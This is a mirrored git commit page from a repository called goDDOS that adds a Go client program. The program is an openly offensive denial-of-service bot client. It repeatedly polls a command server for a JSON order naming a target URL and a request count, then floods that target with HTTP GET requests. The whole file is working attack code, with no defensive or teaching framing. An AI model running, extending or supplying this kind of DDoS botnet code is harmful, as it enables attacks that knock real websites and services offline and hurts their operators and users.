mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-06 19:16:41 +01:00
implemented v2
This commit is contained in:
61
v2/client/main.go
Normal file
61
v2/client/main.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
const SERVER = "127.0.0.1:3000"
|
||||
const sleeptime = 3000
|
||||
|
||||
type Order struct {
|
||||
Target string `json:"target"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
var order Order
|
||||
|
||||
/*
|
||||
note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
|
||||
*/
|
||||
|
||||
func runDos(target string, count int) {
|
||||
for i := 0; i < count; i++ {
|
||||
_, err := http.Get(target)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
|
||||
}
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
color.Green(" - all requests finalized")
|
||||
}
|
||||
func main() {
|
||||
for {
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
fmt.Println(" - getting order from server")
|
||||
res, err := http.Get("http://" + SERVER)
|
||||
if err != nil {
|
||||
fmt.Println("server not alive")
|
||||
time.Sleep(sleeptime * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
decoder := json.NewDecoder(res.Body)
|
||||
err = decoder.Decode(&order)
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
if order.Target != "" {
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
color.Yellow("running Dos")
|
||||
runDos(order.Target, order.Count)
|
||||
}
|
||||
time.Sleep(sleeptime * time.Millisecond)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user